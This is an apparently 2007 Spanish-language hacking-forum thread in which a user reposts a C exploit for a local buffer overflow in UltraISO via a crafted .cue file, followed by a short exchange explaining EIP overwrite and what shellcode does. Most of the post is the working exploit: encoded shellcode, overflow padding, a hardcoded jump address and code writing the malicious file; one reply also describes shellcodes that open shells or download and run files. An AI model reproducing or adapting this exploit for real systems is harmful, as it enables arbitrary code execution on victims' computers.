elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Ingresar Registrarse
21 Agosto 2008, 14:57  



+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderadores: sirdarckcat, berz3k)
| | |-+  UltraISO <= 8.6.2.2011 (Cue/Bin Files) Local Buffer Overflow Exploit
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Imprimir
Autor Tema: UltraISO <= 8.6.2.2011 (Cue/Bin Files) Local Buffer Overflow Exploit  (Leído 257 veces)
anion

Desconectado Desconectado

Mensajes: 123


Ver Perfil
UltraISO <= 8.6.2.2011 (Cue/Bin Files) Local Buffer Overflow Exploit
« en: 14 Junio 2007, 16:41 »

Hola, hace tiempo que estoy leyendo temas referidos a los exploits pero nunca se me dio el tiempo como para poder profundizar demasiado.

Eocnotre este exploit en C. para el UltraISO <= 8.6.2.2011

Citar
/*
Date : May 28th 2007.
UltraISO <= 8.6.2.2011 local buffer-over flow by n00b
You might need to change the jmp esp% adress to your version.
Tested on win xp service pack 2 <eng> executes calc.Don't
forget you need to have the bin and cue file in the same
Directory special thanks to Thomas Pollet also.

*/

#include <stdlib.h>
#include <stdio.h>

//Calc shell_code
unsigned char shell_code[] =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x54"
"\x42\x50\x42\x50\x42\x30\x4b\x58\x45\x54\x4e\x33\x4b\x38\x4e\x57"
"\x45\x30\x4a\x37\x41\x30\x4f\x4e\x4b\x58\x4f\x44\x4a\x41\x4b\x38"
"\x4f\x35\x42\x42\x41\x30\x4b\x4e\x49\x34\x4b\x58\x46\x33\x4b\x58"
"\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x39\x4e\x4a\x46\x58\x42\x4c"
"\x46\x37\x47\x30\x41\x4c\x4c\x4c\x4d\x50\x41\x50\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x53\x46\x55\x46\x32\x46\x30\x45\x47\x45\x4e\x4b\x48"
"\x4f\x35\x46\x32\x41\x50\x4b\x4e\x48\x36\x4b\x58\x4e\x50\x4b\x54"
"\x4b\x58\x4f\x35\x4e\x31\x41\x50\x4b\x4e\x4b\x38\x4e\x41\x4b\x38"
"\x41\x30\x4b\x4e\x49\x38\x4e\x45\x46\x52\x46\x50\x43\x4c\x41\x53"
"\x42\x4c\x46\x46\x4b\x48\x42\x44\x42\x43\x45\x38\x42\x4c\x4a\x37"
"\x4e\x50\x4b\x48\x42\x44\x4e\x50\x4b\x48\x42\x57\x4e\x51\x4d\x4a"
"\x4b\x48\x4a\x46\x4a\x30\x4b\x4e\x49\x30\x4b\x58\x42\x58\x42\x4b"
"\x42\x30\x42\x50\x42\x30\x4b\x48\x4a\x46\x4e\x43\x4f\x55\x41\x43"
"\x48\x4f\x42\x56\x48\x55\x49\x58\x4a\x4f\x43\x38\x42\x4c\x4b\x57"
"\x42\x55\x4a\x46\x4f\x4e\x50\x4c\x42\x4e\x42\x46\x4a\x36\x4a\x49"
"\x50\x4f\x4c\x48\x50\x30\x47\x35\x4f\x4f\x47\x4e\x43\x46\x41\x56"
"\x4e\x46\x43\x56\x50\x42\x45\x56\x4a\x37\x45\x36\x42\x30\x5a" ;

int main(int argc, char *argv[])
{
   FILE *cue;

   FILE *bin;

 if(argc < 2) {
 
 system("cls");
 printf("\n *************************************************");
 printf("\n *************************************************");
 printf("\n *   Ultra Iso local buffer over flow by n00b    *");
 printf("\n *************************************************");
 printf("\n *          Special thanks to Str0ke             *");
 printf("\n *************************************************");
 printf("\n * Shout's ~ str0ke ~ c0ntex ~ marsu ~v9@fakehalo*");
 printf("\n * Date :          May 28th 2007                 *");
 printf("\n *************************************************");
 printf("\n * Credit's to n00b for finding this bug and poc *");
 printf("\n *************************************************");
 printf("\n    Usage:>  Exploit.cue   Exploit.bin            ");
 printf("\n *************************************************");

      return 0;
   }
      if(!(cue = fopen(argv[1], "w"))) {
      printf("
  • Error");
      return 0;
   }
 
   fputs("FILE \"", cue);
   for (int i=0;i<1099;i++) \
   fputs("A", cue);
   fputs("\x43\x41\xf8\x77", cue);
       
    fputs((char *)shell_code, cue);
    fputs(".bin \"", cue);
   fputs("\" BINARY\n", cue);
   fputs(" TRACK 01 MODE2/2352\n", cue);
   fputs(" INDEX 01 00:00:00\n", cue);
   
    fclose(cue);
   
      if(!(bin = fopen(argv[2], "w"))) {
      printf("
  • Error");
      return 0;
   }

   fputs("Fake bin file\n", bin);
   fclose(bin);
   printf("File's successfully created");
   return 0;
}

// milw0rm.com [2007-05-28]

Si instalo el programa en mi pc y ejecuto el exploit, estaria generando un buffer overflow, o sea esto que significa a nivel de riesgo?.
Busque en otras paginas lo que es un BO y encontre este ejemplo.

Citar
void func(void)
{
   int i;
   char buffer[256];
   for (i=0;i<512;i++)
   buffer='A';
}

O sea, estoy escribiendo en una zona de memoria que no esta manejada, pero no entiendo el risgo que esto conlleva a nivel de sistema.
En línea
yeikos
Colaborador

Desconectado Desconectado

Mensajes: 1.363



Ver Perfil
Re: UltraISO <= 8.6.2.2011 (Cue/Bin Files) Local Buffer Overflow Exploit
« Respuesta #1 en: 14 Junio 2007, 18:19 »

Al escribir en una zona de memoria prohibida puedes modificar el siguiente salto (EIP), de esta manera se puede ejecutar diversas funciones del sistema.
En línea
anion

Desconectado Desconectado

Mensajes: 123


Ver Perfil
Re: UltraISO <= 8.6.2.2011 (Cue/Bin Files) Local Buffer Overflow Exploit
« Respuesta #2 en: 14 Junio 2007, 21:25 »

o sea, ejecuto el exploit y luego que tengo que hacer?, que beneficio obtengo?
En línea
yeikos
Colaborador

Desconectado Desconectado

Mensajes: 1.363



Ver Perfil
Re: UltraISO <= 8.6.2.2011 (Cue/Bin Files) Local Buffer Overflow Exploit
« Respuesta #3 en: 14 Junio 2007, 23:00 »

El código de arriba generará un archivo CUE y BIN, éste último con el exploit dentro.

Una vez abierto el archivo BIN se escribirá sobre la memoria y se ejecutará la shellcode...

¿Beneficio? Hay muchos tipos de shellcodes, unas te dan una shell, otras descargan un archivo via HTTP y lo ejecutan, otras son simples PoC que lanzan una alerta...

Si buscas shellcodes intenta que sea universales, así te ahorraras incompatibilidades con los sistemas operativos, o si lo prefieres puedes programar la tuya con los Offers de tu SO, aunque ya no voy a entrar en ese tema...

Pásate por aquí: http://foro.elhacker.net/index.php/topic,164933.msg788183.html#msg788183

EDIT: Acabo de probar el exploit con la versión demo del UltraISO 8.6.2.2011 y al abrir el BIN me dice que el formato de la imagen es desconocido, y no se escribió nada sobre la memoria...
« Última modificación: 14 Junio 2007, 23:13 por YeIk0s » En línea
Páginas: [1] Ir Arriba Imprimir 
Ir a:  





Consolas     La Web de Goku     MilW0rm     MundoDivx

Hispabyte     Truzone     TodoReviews     ZonaPhotoshop

hard-h2o modding    Foros de ayuda    Yashira.org    Videojuegos    indetectables.net   

Noticias Informatica    Seguridad Informática    ADSL    Foros en español    eNYe Sec

Todas las webs afiliadas están libres de publicidad engañosa.

Powered by SMF 1.1.5 | SMF © 2006-2008, Simple Machines LLC